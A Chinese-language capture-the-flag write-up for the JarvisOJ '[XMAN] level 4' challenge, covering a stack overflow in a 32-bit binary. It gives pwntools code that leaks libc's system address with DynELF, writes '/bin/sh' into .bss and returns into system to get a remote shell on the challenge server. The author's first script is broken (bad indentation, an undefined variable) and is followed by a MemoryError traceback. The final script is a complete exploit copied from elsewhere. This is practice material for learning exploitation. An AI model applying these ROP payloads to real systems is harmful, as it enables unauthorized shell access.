

一.[XMAN] level 4

题目链接: <https://www.jarvisoj.com/challenges>

题目信息:

```
level4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbc66b7104566b4b70e843bc97c0609b7a018, not stripped
```

二.题目分析










- 题目下载只有一个elf文件, 没有so库。
- file命令查看x86, 参数布局使用栈
- ida查看

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    vulnerable_function();
    write(1, "Hello, World!\n", 0xEu);
    return 0;
}
```

```
ssize_t vulnerable_function()
{
    char buf[136]; // [esp+0h] [ebp-88h] BYREF

    return read(0, buf, 0x100u);
}
```

查看字符串信息

Address	Length	Type	String
 LOAD:080481... 00000013	00000013	C	/lib/ld-linux.so.2
 LOAD:080482... 0000000A	0000000A	C	libc.so.6
 LOAD:080482... 0000000F	0000000F	C	_IO_stdin_used
 LOAD:080482... 00000012	00000012	C	__libc_start_main
 LOAD:080482... 00000006	00000006	C	write
 LOAD:080482... 0000000F	0000000F	C	__gmon_start__
 LOAD:080482... 0000000A	0000000A	C	GLIBC_2.0
 .rodata:08048... 0000000F	0000000F	C	Hello, World!\n
 .eh_frame:080... 00000005	00000005	C	;*2\$\"

- read函数处存在溢出, 并没有system函数
- 首先要泄露system地址, 利用的方法和之前一样利用write_plt将write_got地址打印出来。利用这个可以将system等地址泄露出来。这里可以使用DynELF模块。

泄露system地址

```
from pwn import *

#pro=process('./level4')           //本地
pro=remote('pwn2.jarvisoj.com', 9880) //远程
e= ELF('./level4')
plt_write=e.plt['write']           //write_plt,入口
got_write=e.got['write']
vul_addr=e.symbols['vulnerable_function'] //执行一次payload后返回地址

print('[*] plt_write address is',hex(plt_write))
print('[*] got_write address is',hex(got_write))
print('[*] vul_addr is',hex(vul_addr))

def leak(address): //缓冲区大小140 (返回地址被覆盖) write函数 本次溢出执行后的返回地址
    write参数1 , 要爆破的参数2, 大小

payload=flat(['a'*140,p32(plt_write),p32(vulnerable_function_addr),p32(0x1),p32(
address),p32(0x4)])
    pro.sendline(payload)
    data=u32(pro.recv(4))
    return data

d=DynELF(leak,e)
system_addr=d.lookup('system','libc')
print(hex(system_addr))
```

通过以上代码就可以得到system的真实地址。

如何获取/bin/sh呢?

这里使用bss数据段，通过read函数将/bin/sh写入到bss段的一个地址。同样还要使用read的溢出

payload='a'*140 +read_plt + vulnerable_function_addr+ 0 + bss段地址 + 8

缓冲区大小 覆盖的返回地址read 本次执行后的返回地址 参数0 输入流 参数2目标地址_数据写到那个地址 /bin/sh的长度

p.sendline(payload)之后，执行到了read函数,会请求输入

p.send('/bin/sh'), 这样通过/bin/sh就会被写入到bss_的地址。

通过这两种方式就可以getshell

但不幸的是通过DynELF泄露system地址时报错

```

Traceback (most recent call last):
  File "pwn_level4.py", line 20, in <module>
    d=DynELF(leak,elf=e)
  File "/usr/local/lib/python3.5/dist-packages/pwntools-4.3.0.dev0-py3.5.egg/pwnlib/dynelf.py", line 183, in __init__
    self.libbase = self._find_base(pointer or elf.address)
  File "/usr/local/lib/python3.5/dist-packages/pwntools-4.3.0.dev0-py3.5.egg/pwnlib/dynelf.py", line 296, in _find_base
    if self.leak.compare(ptr, b'\x7fELF'):
  File "/usr/local/lib/python3.5/dist-packages/pwntools-4.3.0.dev0-py3.5.egg/pwnlib/memleak.py", line 547, in compare
    if self.n(address + i, 1) != _p8lu(byte):
  File "/usr/local/lib/python3.5/dist-packages/pwntools-4.3.0.dev0-py3.5.egg/pwnlib/memleak.py", line 373, in n
    return self._leak(addr, numb) or None
  File "/usr/local/lib/python3.5/dist-packages/pwntools-4.3.0.dev0-py3.5.egg/pwnlib/memleak.py", line 202, in _leak
    self.cache[address+i] = _p8lu(byte)
MemoryError

```

以下payload来自互联网

```

from pwn import *
conn=remote('pwn2.jarvisoj.com','9880')
#conn=process('./level4')
e=ELF('./level4')
pad=0x88
write_plt=e.symbols['write']
vul_addr=0x804844b
bss_addr=0x0804a024
def leak(address):

    payload1='a'*pad+"BBBB"+p32(write_plt)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
    conn.sendline(payload1)
    data=conn.recv(4)
    return data
d=DynELF(leak,elf=e)
system_addr=d.lookup('system','libc')
print hex(system_addr)
read_plt=e.symbols['read']
payload2='a'*pad+"BBBB"+p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss_addr)+p32(8)
//写入bin_sh
conn.sendline(payload2)
conn.send("/bin/sh\x00")
payload3="a"*pad+"BBBB"+p32(system_addr)+'dead'+p32(bss_addr)
conn.sendline(payload3)
conn.interactive()

```